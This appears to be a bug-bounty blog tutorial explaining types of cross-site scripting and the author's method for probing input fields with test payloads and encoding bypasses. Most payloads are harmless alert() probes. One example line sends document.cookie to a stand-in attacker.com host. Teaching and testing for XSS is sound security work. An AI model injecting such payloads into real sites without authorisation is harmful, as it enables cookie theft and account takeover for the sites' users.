How I Test for Cross-Site Scripting

1 month ago 44

BOOK THIS SPACE FOR AD

ARTICLE AD

If you can’t find a way, create one.

An animated browser webpage with input fields

Image generated by AI

INTRODUCTION

Did you know that in 2014, black hat hackers discovered a serious flaw on eBay. They used a Cross-Site Scripting (XSS) vulnerability to sneak malicious JavaScript code into product listings. When users clicked on these listings, they were redirected to a fake phishing website, thanks to another weakness known as an open redirect. This clever attack tricked users into sharing sensitive information, thinking they were still on eBay.

Hey there, welcome back! It’s great to have you here again. Your support really means a lot to me, thank you so much. In this chapter, I’ll show you how I test for Cross-Site Scripting (XSS). I hope you find something helpful here. Let’s get started!

WHAT IS CROSS-SITE SCRIPTING?

Before I proceed into explaining my cross-site scripting methodology, it is important to know what cross-site scripting is.
Cross-Site Scripting, commonly known as XSS, is a security vulnerability that was first described by Microsoft engineers in 2000. It allows attackers to inject malicious code (usually JavaScript) into a website and the injected code is being executed by the website. When users visit a compromised site, the script runs in their browser without their knowledge.

This can lead to stolen data, such as login credentials or personal information. XSS typically occurs when websites fail to properly validate or sanitize user input, making them vulnerable to attack.

But honestly, I’ve always wondered why Microsoft engineers named it “Cross-Site Scripting.” At first, it didn’t really click for me, what the vulnerability was about until I did some research. Lol!

TYPES OF CROSS-SITE SCRIPTING?

Well, from what I know, there are five types of Cross-Site Scripting (XSS), while they are similar, they work a little differently. Let’s look at each one:

Stored XSS: This is when the attacker’s malicious code gets stored on the web server, like in a database. The code runs every time someone visits the page. It’s the most dangerous type because the script stays on the site and affects everyone who visits. It is persistent.
Example: Assuming I leave a comment on a blog with a script like <script>alert("CyberSecHemmars");</script>. If the website doesn’t check for this, the script stays in the comment, and everyone who reads it sees a pop-up that says "CyberSecHemmars" in their browser.Reflected XSS: This is the most common type of XSS. The malicious code is not stored on the web server but is instead returned to the victim immediately when they visit the page. It usually happens when the malicious link or input is sent back by the server without properly checking the malicious link or input.
Example: Assuming I send a link like http://example.com/search?search=<script>alert("CyberSecHemmars");</script> to a victim. If the website reflects this input without validating it, the script runs in the victim’s browser as soon as they click the link, showing a pop-up with "CyberSecHemmars."DOM-based XSS: This happens when the website’s JavaScript code changes the page based on the user’s input. The attack occurs in the victim’s browser, and it doesn’t need to involve the web server at all. This is similar to reflected XSS, but the key difference is that the executable code does not get sent to the server; it is executed locally in the victim’s browser.
Example: Assuming a website lets users input text that updates the page but doesn’t check the input properly. An attacker could inject a script like <script>document.location='http://attacker.com?cookie=' + document.cookie;</script>. This could steal a user's cookies without them knowing.Blind XSS: This is a type of stored XSS where the malicious script is stored on the website, but the attacker does not see it execute. The key difference is that the script is triggered by someone else, such as an admin, rather than the attacker themselves.
Example: Assuming an attacker injects a script into a contact form. The script doesn’t run immediately when the attacker submits the form, but when an admin views the submission, the script executes, possibly stealing information or causing other harm.Self XSS: Self XSS is also very similar to Reflected XSS, but it only works on pages that are personal to the user, such as their bank account or social media profile. In this type of XSS, the attacker tricks the victim into running the malicious code in their own browser by convincing them to paste the script into their browser’s console. Self XSS doesn’t exploit a website’s vulnerability on its own because it relies on social engineering, and most bug bounty programs don’t accept it. Also, Self XSS can be chained with other vulnerability like CSRF (Cross-Site Request Forgery).
Example: The attacker might tell the victim to paste a script like this into their browser’s console: alert("CybersecHemmars");. When the victim does this, a pop-up with "CybersecHemmars" will appear in their browser.

Image generated by AI

MY CROSS-SITE SCRIPTING TESTING METHODOLOGY

Ahh, finally! After going over what Cross-Site Scripting (XSS) is and the different types, it’s a big relief to get into the practical side — which is also the fun part — how I actually test for these vulnerabilities. I’ll break it down into a simple “rinse and repeat” steps, so you can follow the process without getting lost in the details.

IDENTIFYING INPUT FIELDS

There are two main ways to find input fields on a website.
1. Automation: Here, you are basically using tools that scan the website to automatically gather all the input points. For example, I like using Katana for this, but honestly, I don’t use it often because, well, the results always feel overwhelming for me. xD
2. Manual: As regards this method which I prefer and highly recommend, is to explore the website yourself. Visit the site, take your time to look around, and note down all the places where users can enter information — like search bars, forms, comment sections, or any other input fields. After some careful exploration, you’ll have a solid list of input fields that you found manually.

Once your list is ready, you can move on to the next step in your testing process.

TESTING INPUT FIELDS

Now that I have my list of input fields, the next step is to test them for vulnerabilities. This involves sending test payloads into each input field to check how the website processes the input.

Using Simple Payload: This is actually straightforward and the main idea is to check whether the web application sanitizes my input or not. For example, in the search fields, I always start by entering a basic test payload like <script>alert("CyberSecHemmars");</script> and then hit search.Inspecting Reflections: After submitting the payload, I view the page source by pressing CTRL+U and search for "CyberSecHemmars" using CTRL+F. If the payload appears in the source code and isn’t encoded or modified, it means the application is vulnerable (assuming there isn’t a Web Application Firewall in, WAF), then you can craft a payload that will be executed based on the coding pattern of the input field.Testing Encoded Input: If symbols like < or > are encoded (e.g., using HTML encoding), I try encoding my testing payload in the same format and check the results. For instance, I will encode the payload as <script>alert("CyberSecHemmars");</script> and see if it bypasses the protection, at time, double encoding.Edge Cases: If none of these work but the inputs are still reflected, I then try advanced payloads to bypass the protection, such as <img src=x onerror=alert(“CyberSecHemmars”)>. Else, I move on to the next testing field.Firewall: When it comes to bypassing a firewall, there’s no one-size-fits-all solution because many things can affect it. If I come across this issue, I make a note of it and move on to the next input field. I’ll definitely come back to it later. For now, I’m keeping it simple. In the future, I will write more about bypassing WAFs, but for now, I’ll keep things basic.

CONCLUSION

Testing for Cross-Site Scripting (XSS) is simple and straightforward when you truly understand what you’re doing. By identifying input fields, testing with simple payloads and checking for proper sanitization. Always document anything that stands out or looks suspicious to you.

Practice makes perfection.

Thank you so much for reading, don’t forget to follow me and subscribe so you don’t miss out on the next chapters. If you have any questions, ask in the comment section and I will reply to you. If you’d like to support my journey, you can Buy Me a Coffee.